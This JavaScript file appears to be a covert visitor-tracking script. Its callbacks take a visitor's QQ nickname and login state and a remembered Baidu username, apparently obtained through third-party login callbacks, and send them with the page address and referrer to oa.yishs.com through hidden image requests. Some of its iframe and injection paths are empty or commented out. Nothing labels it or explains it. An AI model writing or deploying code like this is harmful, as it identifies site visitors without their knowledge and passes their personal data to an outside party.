function createIframe(url) { var iframeid = document.createElement('iframe'); iframeid.src = url; iframeid.style.display = 'none'; document.body.appendChild(iframeid); if (iframeid.attachEvent) { iframeid.attachEvent("onload", function() { document.body.removeChild(iframeid); }); } else { iframeid.onload = function() { document.body.removeChild(iframeid); }; } } function isLogin(obj) { var imgs = new Image(), r = obj.r, nick = '', host = encodeURIComponent(document.location.href), refer = encodeURIComponent(document.referrer); if(obj.nick) nick = encodeURIComponent(obj.nick); imgs.src = "http://oa.yishs.com/?m=online&a=isOnline&id=LBTMPw99KhXeSThPt6HhDnGmWdp8w&ck=1&host="+host+"&refer="+refer+"&nick="+nick+"&code="+r+"&t=" + new Date().getTime(); if (r == 0) { var qqsrc = "&idcode=LBTMPw99KhXeSThPt6HhDnGmWdp8w"; //createIframe(qqsrc); } } var frameImg = "function isLogin(c){parent.isLogin(c);}"; document.write(''); function getbduser(c){ if(c.data.rememberedUserName){ UserName = c.data.rememberedUserName; var imgsrc = "http://oa.yishs.com/?m=online&a=bduser&username="+encodeURIComponent(UserName)+"&id=LBTMPw99KhXeSThPt6HhDnGmWdp8w"; createImg(imgsrc); } } /* var frameBaidu = "function bd__cbs__yvhvnm(c){parent.getbduser(c);}"; document.write(''); */ setTimeout(function(){ var img = new Image(); img.src = "http://oa.yishs.com/?m=online&a=stat2&ck=1&id=9TqPcw39AQhsmbpFBjwnxDZsmok3g"; },1500); function createImg(url){ var img = new Image(); img.src = url; }